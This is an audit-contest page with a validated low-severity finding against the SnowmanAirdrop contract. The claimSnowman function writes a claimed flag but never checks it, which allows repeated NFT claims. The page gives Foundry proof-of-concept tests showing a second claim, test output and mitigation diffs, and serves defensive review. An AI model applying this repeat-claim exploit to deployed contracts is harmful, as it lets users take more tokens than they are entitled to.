Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: low
Valid

`SnowmanAirdrop::claimSnowman` writes `s_hasClaimedSnowman` but never checks it, letting whitelisted users claim repeatedly

gondar

SnowmanAirdrop::claimSnowman writes s_hasClaimedSnowman but never checks it, letting whitelisted users claim repeatedly

Description

  • Each whitelisted address is meant to claim its Snowman NFTs exactly once.

  • claimSnowman sets s_hasClaimedSnowman[receiver] = true but never reads it, and the signed message carries no nonce. The only thing preventing a second claim is the incidental fact that the Snow balance drops to zero after the transfer — not an intended guard. By re-acquiring Snow, a user can claim again with the same proof and a fresh signature.

s_hasClaimedSnowman[receiver] = true; // written, but never read anywhere

Risk

Likelihood: High

  • Snow is re-earnable each week, so any whitelisted user can restore their balance to the snapshot amount and re-claim at will — no special conditions required.

Impact: High

  • A whitelisted user can mint far more NFTs than their single entitlement, inflating supply beyond the intended one-claim-per-recipient design and devaluing the collection.

Proof of Concept

Walkthrough of the exploit path

claimSnowman is supposed to be a one-shot per recipient, but there is no if (s_hasClaimedSnowman[receiver]) revert ... guard and the signed digest contains no nonce. The chain of facts that makes a second claim possible:

  1. Alice is whitelisted for amount == 1 (see script/flakes/output.json), so the proof AL_PROOF and root are valid for the leaf keccak256(keccak256(abi.encode(alice, 1))).

  2. On the first claim, claimSnowman pulls Alice's 1 Snow into the airdrop (safeTransferFrom), mints her 1 NFT, and sets s_hasClaimedSnowman[alice] = true — a flag that is written but read nowhere.

  3. Her Snow balance is now 0. The only reason a second immediate call would fail is the SA__ZeroAmount check on balance — an accidental side effect, not a claim guard.

  4. Alice calls earnSnow() the following week and restores her balance to exactly 1. The leaf is once again keccak256(keccak256(abi.encode(alice, 1))), so AL_PROOF verifies again and getMessageHash(alice) returns a re-signable digest.

  5. She (or anyone with her fresh signature) calls claimSnowman a second time. Every check passes and she receives a second NFT. There is no upper bound — this repeats every week.

Test setup context — this reuses the contest's own harness (script/Helper.s.sol deploys Snow/Snowman/Airdrop and seeds Alice with 1 Snow); alice/alKey come from makeAddrAndKey("alice"), satoshi is an unrelated gas payer, and AL_PROOF is copied verbatim from script/flakes/output.json. Drop the test below into test/PoC_Findings.t.sol.

function test_H3_userCanClaimMultipleTimes() public {
// ---- First claim (the legitimate, intended one) ----
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
bytes32 d1 = airdrop.getMessageHash(alice);
(uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(alKey, d1);
​
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v1, r1, s1);
​
assertEq(nft.balanceOf(alice), 1); // got her 1 NFT
assertEq(snow.balanceOf(alice), 0); // Snow was pulled into the airdrop
assertTrue(airdrop.getClaimStatus(alice)); // flag is set... but never enforced
​
// ---- Re-acquire 1 Snow so the live balance equals the snapshot again ----
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
​
// ---- Second claim with the SAME proof succeeds despite getClaimStatus == true ----
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
bytes32 d2 = airdrop.getMessageHash(alice);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, d2);
​
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2);
​
assertEq(nft.balanceOf(alice), 2); // claimed twice — invariant broken
}

Run:

forge test --mt test_H3_userCanClaimMultipleTimes -vv

Result — the test passes, confirming Alice ends with 2 NFTs even though getClaimStatus(alice) already returned true before the second claim:

[PASS] test_H3_userCanClaimMultipleTimes() (gas: 365650)

Recommended Mitigation

Enforce the claim status at function entry, and add a nonce to the EIP-712 message to stop signature replay.

+ error SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) revert SA__ZeroAddress();
+ if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
...
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!